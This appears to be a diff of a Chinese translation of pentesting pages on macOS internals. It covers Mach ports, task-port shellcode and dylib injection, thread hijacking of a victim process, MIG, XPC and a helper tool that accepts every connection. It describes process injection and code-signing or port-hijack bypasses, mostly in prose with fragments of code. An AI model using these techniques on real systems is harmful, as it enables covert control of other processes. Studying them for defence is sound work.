frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
|
||||
frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
|
||||
frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
|
||||
frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
|
||||
</code></pre>
|
||||
|
||||
要获取**`mach_msg`**的参数,请检查寄存器。这些是参数(来自[mach/message.h](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
|
||||
@ -271,7 +271,7 @@ name ipc-object rights flags boost reqs recv send sonce oref q
|
||||
还要注意,只有**`send`**权限的端口是**识别其所有者**的(端口名称 + pid)。\
|
||||
还要注意使用**`+`**来表示**连接到同一端口的其他任务**。
|
||||
|
||||
还可以使用 [**procesxp**](https://www.newosxbook.com/tools/procexp.html) 来查看**注册的服务名称**(由于需要`com.apple.system-task-port`,因此禁用SIP):
|
||||
还可以使用 [**procesxp**](https://www.newosxbook.com/tools/procexp.html) 来查看**注册的服务名称**(由于需要`com.apple.system-task-port`,因此禁用了SIP):
|
||||
```
|
||||
procesp 1 ports
|
||||
```
|
||||
@ -413,7 +413,7 @@ printf("Sent a message\n");
|
||||
|
||||
这些端口由一个数字表示。
|
||||
|
||||
**发送**权限可以通过调用**`host_get_special_port`**获得,而**接收**权限则通过调用**`host_set_special_port`**获得。然而,这两个调用都需要**`host_priv`**端口,只有root可以访问。此外,过去root能够调用**`host_set_special_port`**并劫持任意端口,例如通过劫持`HOST_KEXTD_PORT`来绕过代码签名(SIP现在防止了这种情况)。
|
||||
**发送**权限可以通过调用**`host_get_special_port`**获得,而**接收**权限则通过调用**`host_set_special_port`**获得。然而,这两个调用都需要**`host_priv`**端口,只有root可以访问。此外,在过去,root能够调用**`host_set_special_port`**并劫持任意端口,例如通过劫持`HOST_KEXTD_PORT`来绕过代码签名(SIP现在防止了这一点)。
|
||||
|
||||
这些端口分为两组:**前7个端口由内核拥有**,分别是1 `HOST_PORT`,2 `HOST_PRIV_PORT`,3 `HOST_IO_MASTER_PORT`,7是`HOST_MAX_SPECIAL_KERNEL_PORT`。\
|
||||
从数字**8**开始的端口是**由系统守护进程拥有**,可以在[**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html)中找到声明。
|
||||
@ -461,7 +461,7 @@ world.*/
|
||||
|
||||
### 任务端口
|
||||
|
||||
最初,Mach没有“进程”,它有“任务”,这被认为更像是线程的容器。当Mach与BSD合并时,**每个任务与一个BSD进程相关联**。因此,每个BSD进程都有成为进程所需的详细信息,每个Mach任务也有其内部工作(除了不存在的pid 0,即`kernel_task`)。
|
||||
最初,Mach没有“进程”,它有“任务”,这被认为更像是线程的容器。当Mach与BSD合并时,**每个任务都与一个BSD进程相关联**。因此,每个BSD进程都有成为进程所需的详细信息,每个Mach任务也有其内部工作(除了不存在的pid 0,即`kernel_task`)。
|
||||
|
||||
有两个与此相关的非常有趣的函数:
|
||||
|
||||
@ -481,14 +481,14 @@ world.*/
|
||||
> [!CAUTION]
|
||||
> 请注意,拥有对**不同任务**的任务端口的SEND权限,可以对不同任务执行此类操作。
|
||||
|
||||
此外,task_port也是**`vm_map`**端口,允许使用`vm_read()`和`vm_write()`等函数**读取和操作**任务内的内存。这基本上意味着,拥有对不同任务的task_port的SEND权限的任务将能够**注入代码到该任务中**。
|
||||
此外,task_port也是**`vm_map`**端口,允许使用`vm_read()`和`vm_write()`等函数**读取和操作任务内的内存**。这基本上意味着,拥有对不同任务的task_port的SEND权限的任务将能够**注入代码到该任务中**。
|
||||
|
||||
请记住,因为**内核也是一个任务**,如果有人设法获得对**`kernel_task`**的**SEND权限**,它将能够使内核执行任何操作(越狱)。
|
||||
|
||||
- 调用`mach_task_self()`以**获取此端口的名称**,用于调用任务。此端口仅在**`exec()`**中**继承**;使用`fork()`创建的新任务会获得一个新的任务端口(作为特例,任务在suid二进制文件中的`exec()`后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行`fork()`时进行["端口交换舞蹈"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html)。
|
||||
- 访问端口的限制(来自二进制文件`AppleMobileFileIntegrity`的`macos_task_policy`):
|
||||
- 如果应用具有**`com.apple.security.get-task-allow` 权限**,则来自**同一用户的进程可以访问任务端口**(通常由Xcode为调试添加)。**公证**过程不允许其用于生产版本。
|
||||
- 具有**`com.apple.system-task-ports`**权限的应用可以获取**任何**进程的任务端口,除了内核。在旧版本中称为**`task_for_pid-allow`**。这仅授予Apple应用。
|
||||
- 如果应用程序具有**`com.apple.security.get-task-allow` 权限**,则来自**同一用户的进程可以访问任务端口**(通常由Xcode添加以进行调试)。**公证**过程不允许其用于生产版本。
|
||||
- 具有**`com.apple.system-task-ports`**权限的应用程序可以获取**任何**进程的任务端口,除了内核。在旧版本中称为**`task_for_pid-allow`**。这仅授予Apple应用程序。
|
||||
- **Root可以访问未**使用**强化**运行时编译的应用程序的任务端口(并且不是来自Apple的)。
|
||||
|
||||
**任务名称端口:** 一个未特权版本的_task port_。它引用任务,但不允许控制它。通过它似乎唯一可用的功能是`task_info()`。
|
||||
@ -508,7 +508,7 @@ world.*/
|
||||
|
||||
### 通过任务端口在线程中注入Shellcode
|
||||
|
||||
您可以从以下位置获取Shellcode:
|
||||
您可以从以下位置获取shellcode:
|
||||
|
||||
{{#ref}}
|
||||
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
@ -560,7 +560,7 @@ return 0;
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
**编译**之前的程序并添加**权限**以便能够以相同用户注入代码(如果没有,您将需要使用**sudo**)。
|
||||
**编译**之前的程序并添加**权限**以便能够以相同用户注入代码(如果不这样做,您将需要使用**sudo**)。
|
||||
|
||||
<details>
|
||||
|
||||
@ -776,9 +776,9 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
|
||||
在 macOS 中,**线程** 可以通过 **Mach** 或使用 **posix `pthread` api** 进行操作。我们在之前的注入中生成的线程是使用 Mach api 生成的,因此 **它不符合 posix 标准**。
|
||||
|
||||
能够 **注入一个简单的 shellcode** 来执行命令是因为它 **不需要与 posix** 兼容的 api,只需与 Mach 兼容即可。**更复杂的注入** 将需要 **线程** 也 **符合 posix 标准**。
|
||||
能够 **注入一个简单的 shellcode** 来执行命令是因为它 **不需要与 posix** 兼容的 api 进行工作,只需与 Mach 进行工作。**更复杂的注入** 将需要 **线程** 也 **符合 posix 标准**。
|
||||
|
||||
因此,为了 **改进线程**,它应该调用 **`pthread_create_from_mach_thread`**,这将 **创建一个有效的 pthread**。然后,这个新的 pthread 可以 **调用 dlopen** 从系统中 **加载一个 dylib**,因此不必编写新的 shellcode 来执行不同的操作,而是可以加载自定义库。
|
||||
因此,为了 **改进线程**,它应该调用 **`pthread_create_from_mach_thread`**,这将 **创建一个有效的 pthread**。然后,这个新的 pthread 可以 **调用 dlopen** 从系统中 **加载一个 dylib**,因此,代替编写新的 shellcode 来执行不同的操作,可以加载自定义库。
|
||||
|
||||
您可以在以下位置找到 **示例 dylibs**(例如,生成日志的那个,然后您可以监听它):
|
||||
|
||||
@ -1104,7 +1104,7 @@ macos-thread-injection-via-task-port.md
|
||||
- `processor_set_stack_usage`
|
||||
- `processor_set_info`
|
||||
|
||||
正如在 [**这篇文章**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/) 中提到的,过去这允许绕过之前提到的保护,以获取其他进程中的任务端口,通过调用 **`processor_set_tasks`** 并在每个进程中获取主机端口。\
|
||||
正如在 [**这篇文章**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/) 中提到的,过去这允许绕过之前提到的保护,以获取其他进程中的任务端口,通过调用 **`processor_set_tasks`** 并在每个进程中获取主机端口来控制它们。\
|
||||
如今,您需要 root 权限才能使用该功能,并且这受到保护,因此您只能在未受保护的进程上获取这些端口。
|
||||
|
||||
您可以尝试以下代码:
|
||||
|
||||
@ -40,7 +40,7 @@ server_port : mach_port_t;
|
||||
n1 : uint32_t;
|
||||
n2 : uint32_t);
|
||||
```
|
||||
请注意,第一个 **参数是要绑定的端口**,MIG 将 **自动处理回复端口**(除非在客户端代码中调用 `mig_get_reply_port()`)。此外,**操作的 ID** 将是 **顺序的**,从指定的子系统 ID 开始(因此,如果某个操作被弃用,它会被删除,并且使用 `skip` 仍然使用其 ID)。
|
||||
请注意,第一个 **参数是要绑定的端口**,MIG 将 **自动处理回复端口**(除非在客户端代码中调用 `mig_get_reply_port()`)。此外,**操作的 ID** 将是 **顺序的**,从指定的子系统 ID 开始(因此,如果某个操作被弃用,它会被删除,并使用 `skip` 以便仍然使用其 ID)。
|
||||
|
||||
现在使用 MIG 生成能够相互通信以调用 Subtract 函数的服务器和客户端代码:
|
||||
```bash
|
||||
@ -104,7 +104,7 @@ return 0;
|
||||
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
||||
}
|
||||
```
|
||||
在这个例子中,我们只在定义中定义了 1 个函数,但如果我们定义了更多函数,它们将位于 **`SERVERPREFmyipc_subsystem`** 数组中,第一个将被分配给 ID **500**,第二个将被分配给 ID **501**...
|
||||
在这个例子中,我们只在定义中定义了 1 个函数,但如果我们定义了更多函数,它们将位于 **`SERVERPREFmyipc_subsystem`** 数组中,第一个将分配给 ID **500**,第二个将分配给 ID **501**...
|
||||
|
||||
如果该函数预期发送一个 **reply**,则函数 `mig_internal kern_return_t __MIG_check__Reply__<name>` 也会存在。
|
||||
|
||||
@ -132,7 +132,7 @@ mig_routine_t routine;
|
||||
|
||||
OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);
|
||||
OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;
|
||||
/* 最小大小:routine() 如果不同将更新它 */
|
||||
/* 最小大小:routine() 如果不同会更新它 */
|
||||
OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);
|
||||
OutHeadP->msgh_local_port = MACH_PORT_NULL;
|
||||
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
|
||||
@ -149,7 +149,7 @@ return FALSE;
|
||||
}
|
||||
</code></pre>
|
||||
|
||||
检查之前突出显示的行,通过 ID 访问要调用的函数。
|
||||
检查之前突出显示的行,访问通过 ID 调用的函数。
|
||||
|
||||
以下是创建一个简单的 **服务器** 和 **客户端** 的代码,其中客户端可以调用服务器的 Subtract 函数:
|
||||
|
||||
@ -219,9 +219,9 @@ USERPREFSubtract(port, 40, 2);
|
||||
|
||||
NDR_record 是由 `libsystem_kernel.dylib` 导出的,它是一个结构体,允许 MIG **转换数据,使其与所使用的系统无关**,因为 MIG 被认为是用于不同系统之间的(而不仅仅是在同一台机器上)。
|
||||
|
||||
这很有趣,因为如果在二进制文件中找到 `_NDR_record` 作为依赖项(`jtool2 -S <binary> | grep NDR` 或 `nm`),这意味着该二进制文件是 MIG 客户端或服务器。
|
||||
这很有趣,因为如果在二进制文件中找到 `_NDR_record` 作为依赖项(`jtool2 -S <binary> | grep NDR` 或 `nm`),这意味着该二进制文件是一个 MIG 客户端或服务器。
|
||||
|
||||
此外,**MIG 服务器**在 `__DATA.__const` 中有调度表(或在 macOS 内核中的 `__CONST.__constdata` 和其他 \*OS 内核中的 `__DATA_CONST.__const`)。这可以通过 **`jtool2`** 转储。
|
||||
此外,**MIG 服务器**在 `__DATA.__const` 中有调度表(在 macOS 内核中为 `__CONST.__constdata`,在其他 \*OS 内核中为 `__DATA_CONST.__const`)。这可以通过 **`jtool2`** 转储。
|
||||
|
||||
而 **MIG 客户端**将使用 `__NDR_record` 通过 `__mach_msg` 发送给服务器。
|
||||
|
||||
@ -239,9 +239,9 @@ jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```bash
|
||||
jtool2 -d __DATA.__const myipc_server | grep BL
|
||||
```
|
||||
### 汇编
|
||||
### Assembly
|
||||
|
||||
之前提到过,负责**根据接收到的消息 ID 调用正确函数**的函数是 `myipc_server`。然而,通常你不会拥有二进制文件的符号(没有函数名称),因此检查**反编译后的样子**是很有趣的,因为它总是非常相似(此函数的代码与暴露的函数无关):
|
||||
之前提到过,负责**根据接收到的消息 ID 调用正确函数**的函数是 `myipc_server`。然而,通常你不会拥有二进制文件的符号(没有函数名),因此检查**反编译后的样子**是很有趣的,因为它总是非常相似(此函数的代码与暴露的函数无关):
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="myipc_server decompiled 1"}}
|
||||
@ -249,7 +249,7 @@ jtool2 -d __DATA.__const myipc_server | grep BL
|
||||
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
|
||||
var_10 = arg0;
|
||||
var_18 = arg1;
|
||||
// 初始指令以查找正确的函数指针
|
||||
// 初始指令以找到正确的函数指针
|
||||
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
|
||||
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
|
||||
*(int32_t *)(var_18 + 0x4) = 0x24;
|
||||
@ -297,7 +297,7 @@ saved_fp = r29;
|
||||
stack[-8] = r30;
|
||||
var_10 = arg0;
|
||||
var_18 = arg1;
|
||||
// 初始指令以查找正确的函数指针
|
||||
// 初始指令以找到正确的函数指针
|
||||
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
|
||||
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
|
||||
*(int32_t *)(var_18 + 0x4) = 0x24;
|
||||
@ -332,7 +332,7 @@ if (CPU_FLAGS & NE) {
|
||||
r8 = 0x1;
|
||||
}
|
||||
}
|
||||
// 与之前版本相同的 if else
|
||||
// 与前一个版本相同的 if else
|
||||
// 检查地址 0x100004040 的使用(函数地址数组)
|
||||
<strong> if ((r8 & 0x1) == 0x0) {
|
||||
</strong><strong> *(var_18 + 0x18) = **0x100004000;
|
||||
@ -340,7 +340,7 @@ r8 = 0x1;
|
||||
var_4 = 0x0;
|
||||
}
|
||||
else {
|
||||
// 调用计算的地址,函数应该在此处
|
||||
// 调用计算的地址,函数应该在这里
|
||||
<strong> (var_20)(var_10, var_18);
|
||||
</strong> var_4 = 0x1;
|
||||
}
|
||||
@ -373,11 +373,11 @@ return r0;
|
||||
|
||||
这些数据可以通过[**使用这个 Hopper 脚本**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py)提取。
|
||||
|
||||
### 调试
|
||||
### Debug
|
||||
|
||||
MIG 生成的代码还调用 `kernel_debug` 以生成有关进入和退出操作的日志。可以使用**`trace`**或**`kdv`**检查它们:`kdv all | grep MIG`
|
||||
|
||||
## 参考
|
||||
## References
|
||||
|
||||
- [\*OS Internals, Volume I, User Mode, Jonathan Levin](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
|
||||
|
||||
|
||||
@ -19,7 +19,7 @@
|
||||
|
||||
## 2. 用于通信的 Mach 端口
|
||||
|
||||
接下来的阶段涉及建立 Mach 端口,以促进与远程线程的通信。这些端口在任务之间传输任意的发送和接收权限中起着重要作用。
|
||||
接下来的阶段涉及建立 Mach 端口,以促进与远程线程的通信。这些端口在任务之间传输任意发送和接收权限方面至关重要。
|
||||
|
||||
为了实现双向通信,创建两个 Mach 接收权限:一个在本地任务中,另一个在远程任务中。随后,将每个端口的发送权限转移到对应的任务,从而实现消息交换。
|
||||
|
||||
@ -27,7 +27,7 @@
|
||||
|
||||
一种策略是利用 `thread_set_special_port()` 将本地端口的发送权限放置在远程线程的 `THREAD_KERNEL_PORT` 中。然后,指示远程线程调用 `mach_thread_self()` 以检索发送权限。
|
||||
|
||||
对于远程端口,过程基本上是反向的。指示远程线程通过 `mach_reply_port()` 生成一个 Mach 端口(因为 `mach_port_allocate()` 由于其返回机制不适用)。在端口创建后,在远程线程中调用 `mach_port_insert_right()` 来建立发送权限。然后使用 `thread_set_special_port()` 将该权限存储在内核中。在本地任务中,使用 `thread_get_special_port()` 在远程线程上获取对远程任务中新分配的 Mach 端口的发送权限。
|
||||
对于远程端口,过程基本上是反向的。指示远程线程通过 `mach_reply_port()` 生成一个 Mach 端口(因为 `mach_port_allocate()` 由于其返回机制不适用)。在端口创建后,在远程线程中调用 `mach_port_insert_right()` 以建立发送权限。然后,该权限通过 `thread_set_special_port()` 存储在内核中。在本地任务中,使用 `thread_get_special_port()` 在远程线程上获取对远程任务中新分配的 Mach 端口的发送权限。
|
||||
|
||||
完成这些步骤后,建立了 Mach 端口,为双向通信奠定了基础。
|
||||
|
||||
@ -82,7 +82,7 @@ ret
|
||||
```c
|
||||
_xpc_int64_set_value(address - 0x18, value)
|
||||
```
|
||||
通过建立这些原语,创建共享内存的阶段已经设定,这标志着对远程进程控制的重大进展。
|
||||
通过建立这些原语,创建共享内存的阶段已经设定,这标志着在控制远程进程方面的重大进展。
|
||||
|
||||
## 4. 共享内存设置
|
||||
|
||||
@ -93,7 +93,7 @@ _xpc_int64_set_value(address - 0x18, value)
|
||||
1. **内存分配**:
|
||||
|
||||
- 使用 `mach_vm_allocate()` 分配共享内存。
|
||||
- 使用 `xpc_shmem_create()` 为分配的内存区域创建一个 `OS_xpc_shmem` 对象。此函数将管理 Mach 内存条目的创建,并在 `OS_xpc_shmem` 对象的偏移量 `0x18` 存储 Mach 发送权限。
|
||||
- 使用 `xpc_shmem_create()` 为分配的内存区域创建一个 `OS_xpc_shmem` 对象。此函数将管理 Mach 内存条目的创建,并在 `OS_xpc_shmem` 对象的偏移量 `0x18` 处存储 Mach 发送权限。
|
||||
|
||||
2. **在远程进程中创建共享内存**:
|
||||
|
||||
@ -134,7 +134,7 @@ thread_set_special_port(); // for inserting send right
|
||||
- 通过调用`memcpy()`从共享区域复制数据,执行任意内存读取。
|
||||
- 通过使用`memcpy()`将数据传输到共享区域,执行任意内存写入。
|
||||
|
||||
2. **处理多个参数的函数调用**:
|
||||
2. **处理具有多个参数的函数调用**:
|
||||
|
||||
- 对于需要超过8个参数的函数,按照调用约定将额外参数安排在栈上。
|
||||
|
||||
@ -145,7 +145,7 @@ thread_set_special_port(); // for inserting send right
|
||||
4. **文件描述符传输**:
|
||||
- 使用fileports在进程之间传输文件描述符,这一技术由Ian Beer在`triple_fetch`中强调。
|
||||
|
||||
这种全面控制被封装在[threadexec](https://github.com/bazad/threadexec)库中,提供了详细的实现和用户友好的API,以便与受害进程进行交互。
|
||||
这种全面控制封装在[threadexec](https://github.com/bazad/threadexec)库中,提供了详细的实现和用户友好的API,以便与受害进程进行交互。
|
||||
|
||||
## 重要考虑事项:
|
||||
|
||||
|
||||
@ -6,11 +6,11 @@
|
||||
|
||||
XPC,即 XNU(macOS 使用的内核)进程间通信,是一个用于 **macOS 和 iOS 上进程之间通信** 的框架。XPC 提供了一种机制,用于在系统上进行 **安全的、异步的方法调用**。它是苹果安全范式的一部分,允许 **创建特权分离的应用程序**,每个 **组件** 仅以 **执行其工作所需的权限** 运行,从而限制了被攻陷进程可能造成的损害。
|
||||
|
||||
XPC 使用一种形式的进程间通信(IPC),这是一组方法,允许在同一系统上运行的不同程序相互发送数据。
|
||||
XPC 使用一种进程间通信(IPC)的形式,这是一组方法,允许在同一系统上运行的不同程序相互发送数据。
|
||||
|
||||
XPC 的主要优点包括:
|
||||
|
||||
1. **安全性**:通过将工作分离到不同的进程中,每个进程仅被授予其所需的权限。这意味着即使一个进程被攻陷,它的危害能力也有限。
|
||||
1. **安全性**:通过将工作分离到不同的进程中,每个进程仅被授予所需的权限。这意味着即使一个进程被攻陷,它的危害能力也有限。
|
||||
2. **稳定性**:XPC 有助于将崩溃隔离到发生崩溃的组件。如果一个进程崩溃,可以在不影响系统其余部分的情况下重新启动。
|
||||
3. **性能**:XPC 允许轻松的并发,因为不同的任务可以在不同的进程中同时运行。
|
||||
|
||||
@ -20,7 +20,7 @@ XPC 的主要优点包括:
|
||||
|
||||
应用程序的 XPC 组件是 **在应用程序内部**。例如,在 Safari 中,您可以在 **`/Applications/Safari.app/Contents/XPCServices`** 中找到它们。它们的扩展名为 **`.xpc`**(如 **`com.apple.Safari.SandboxBroker.xpc`**),并且 **也与主二进制文件捆绑** 在一起:`/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` 和 `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
|
||||
|
||||
正如您可能想到的,**XPC 组件将具有不同的权限和特权**,与其他 XPC 组件或主应用程序二进制文件不同。除非 XPC 服务在其 **Info.plist** 文件中配置了 [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) 设置为“True”。在这种情况下,XPC 服务将在 **与调用它的应用程序相同的安全会话** 中运行。
|
||||
正如您可能想到的,**XPC 组件将具有不同的权限和特权**,与其他 XPC 组件或主应用程序二进制文件不同。除非 XPC 服务在其 **Info.plist** 文件中配置了 [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) 设置为“True”。在这种情况下,XPC 服务将在 **与调用它的应用程序相同的安全会话中** 运行。
|
||||
|
||||
XPC 服务由 **launchd** 在需要时 **启动**,并在所有任务 **完成** 后 **关闭** 以释放系统资源。**应用程序特定的 XPC 组件只能由该应用程序使用**,从而降低了与潜在漏洞相关的风险。
|
||||
|
||||
@ -70,7 +70,7 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
||||
|
||||
每个 XPC 消息都是一个字典对象,简化了序列化和反序列化。此外,`libxpc.dylib` 声明了大多数数据类型,因此可以确保接收到的数据是预期的类型。在 C API 中,每个对象都是 `xpc_object_t`(其类型可以使用 `xpc_get_type(object)` 检查)。\
|
||||
此外,函数 `xpc_copy_description(object)` 可用于获取对象的字符串表示,这对于调试非常有用。\
|
||||
这些对象还有一些可以调用的方法,如 `xpc_<object>_copy`、`xpc_<object>_equal`、`xpc_<object>_hash`、`xpc_<object>_serialize`、`xpc_<object>_deserialize`...
|
||||
这些对象还具有一些可调用的方法,如 `xpc_<object>_copy`、`xpc_<object>_equal`、`xpc_<object>_hash`、`xpc_<object>_serialize`、`xpc_<object>_deserialize`...
|
||||
|
||||
`xpc_object_t` 是通过调用 `xpc_<objetType>_create` 函数创建的,该函数内部调用 `_xpc_base_create(Class, Size)`,其中指明了对象的类类型(`XPC_TYPE_*` 之一)和大小(额外的 40B 将被添加到大小以存储元数据)。这意味着对象的数据将从偏移量 40B 开始。\
|
||||
因此,`xpc_<objectType>_t` 是 `xpc_object_t` 的一种子类,而 `xpc_object_t` 则是 `os_object_t*` 的子类。
|
||||
@ -83,7 +83,7 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
||||
**`xpc_pipe`** 是一个 FIFO 管道,进程可以用来进行通信(通信使用 Mach 消息)。\
|
||||
可以通过调用 `xpc_pipe_create()` 或 `xpc_pipe_create_from_port()` 创建 XPC 服务器,后者使用特定的 Mach 端口创建它。然后,可以调用 `xpc_pipe_receive` 和 `xpc_pipe_try_receive` 来接收消息。
|
||||
|
||||
请注意,**`xpc_pipe`** 对象是一个 **`xpc_object_t`**,其结构中包含有关使用的两个 Mach 端口和名称(如果有的话)的信息。例如,守护进程 `secinitd` 在其 plist `/System/Library/LaunchDaemons/com.apple.secinitd.plist` 中配置了名为 `com.apple.secinitd` 的管道。
|
||||
请注意,**`xpc_pipe`** 对象是一个 **`xpc_object_t`**,其结构中包含有关使用的两个 Mach 端口和名称(如果有)的信息。例如,守护进程 `secinitd` 在其 plist `/System/Library/LaunchDaemons/com.apple.secinitd.plist` 中配置了名为 `com.apple.secinitd` 的管道。
|
||||
|
||||
**`xpc_pipe`** 的一个示例是 **`launchd`** 创建的 **bootstrap pipe**,使得共享 Mach 端口成为可能。
|
||||
|
||||
@ -92,14 +92,14 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
||||
这些是 Objective-C 高级对象,允许对 XPC 连接进行抽象。\
|
||||
此外,使用 DTrace 调试这些对象比前面的对象更容易。
|
||||
|
||||
- **`GCD Queues`**
|
||||
- **`GCD 队列`**
|
||||
|
||||
XPC 使用 GCD 传递消息,此外它生成某些调度队列,如 `xpc.transactionq`、`xpc.io`、`xpc-events.add-listenerq`、`xpc.service-instance`...
|
||||
|
||||
## XPC 服务
|
||||
|
||||
这些是位于其他项目的 **`XPCServices`** 文件夹中的 **`.xpc`** 扩展包,在 `Info.plist` 中,它们的 `CFBundlePackageType` 设置为 **`XPC!`**。\
|
||||
该文件还有其他配置键,如 `ServiceType`,可以是 Application、User、System 或 `_SandboxProfile`,可以定义沙箱或 `_AllowedClients`,可能指示与服务联系所需的权限或 ID。这些和其他配置选项在服务启动时将有助于配置服务。
|
||||
该文件具有其他配置键,如 `ServiceType`,可以是 Application、User、System 或 `_SandboxProfile`,可以定义沙箱或 `_AllowedClients`,可能指示与服务联系所需的权限或 ID。这些和其他配置选项在服务启动时将有助于配置服务。
|
||||
|
||||
### 启动服务
|
||||
|
||||
@ -403,7 +403,7 @@ sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
|
||||
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
|
||||
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
|
||||
```
|
||||
## 客户端内部的 Dylb 代码
|
||||
## 客户端在 Dylb 代码中
|
||||
```objectivec
|
||||
// gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib
|
||||
// gcc injection example:
|
||||
@ -439,8 +439,8 @@ return;
|
||||
```
|
||||
## Remote XPC
|
||||
|
||||
此功能由 `RemoteXPC.framework`(来自 `libxpc`)提供,允许通过不同主机之间的 XPC 进行通信。\
|
||||
支持远程 XPC 的服务在其 plist 中将具有键 UsesRemoteXPC,就像 `/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist` 的情况一样。然而,尽管该服务将与 `launchd` 注册,但提供该功能的是 `UserEventAgent`,其插件为 `com.apple.remoted.plugin` 和 `com.apple.remoteservicediscovery.events.plugin`。
|
||||
此功能由 `RemoteXPC.framework`(来自 `libxpc`)提供,允许通过不同主机进行 XPC 通信。\
|
||||
支持远程 XPC 的服务将在其 plist 中具有键 UsesRemoteXPC,就像 `/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist` 的情况一样。然而,尽管该服务将与 `launchd` 注册,但提供该功能的是 `UserEventAgent`,其插件为 `com.apple.remoted.plugin` 和 `com.apple.remoteservicediscovery.events.plugin`。
|
||||
|
||||
此外,`RemoteServiceDiscovery.framework` 允许从 `com.apple.remoted.plugin` 获取信息,暴露出如 `get_device`、`get_unique_device`、`connect` 等函数...
|
||||
|
||||
|
||||
@ -10,7 +10,7 @@
|
||||
|
||||
### ShouldAcceptNewConnection 始终为 YES
|
||||
|
||||
一个例子可以在 [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample) 中找到。在 `App/AppDelegate.m` 中,它尝试 **连接** 到 **HelperTool**。而在 `HelperTool/HelperTool.m` 中,函数 **`shouldAcceptNewConnection`** **不会检查** 之前指示的任何要求。它将始终返回 YES:
|
||||
一个例子可以在 [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample) 中找到。在 `App/AppDelegate.m` 中,它尝试 **连接** 到 **HelperTool**。而在 `HelperTool/HelperTool.m` 中,函数 **`shouldAcceptNewConnection`** **不会检查** 之前提到的任何要求。它将始终返回 YES:
|
||||
```objectivec
|
||||
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
|
||||
// Called by our XPC listener when a new connection comes in. We configure the connection
|
||||
@ -174,7 +174,7 @@ block(authRightName, authRightDefault, authRightDesc);
|
||||
```
|
||||
这意味着在这个过程结束时,`commandInfo` 中声明的权限将存储在 `/var/db/auth.db` 中。请注意,您可以找到 **每种方法** 需要 **身份验证** 的 **权限名称** 和 **`kCommandKeyAuthRightDefault`**。后者 **指示谁可以获得此权限**。
|
||||
|
||||
有不同的范围来指示谁可以访问某个权限。其中一些在 [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity_authorization/lib/AuthorizationDB.h) 中定义(您可以在 [这里找到所有内容](https://www.dssw.co.uk/reference/authorization-rights/)),但总结如下:
|
||||
有不同的范围来指示谁可以访问某个权限。其中一些在 [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity_authorization/lib/AuthorizationDB.h) 中定义(您可以在 [这里找到所有权限](https://www.dssw.co.uk/reference/authorization-rights/)),但总结如下:
|
||||
|
||||
<table><thead><tr><th width="284.3333333333333">名称</th><th 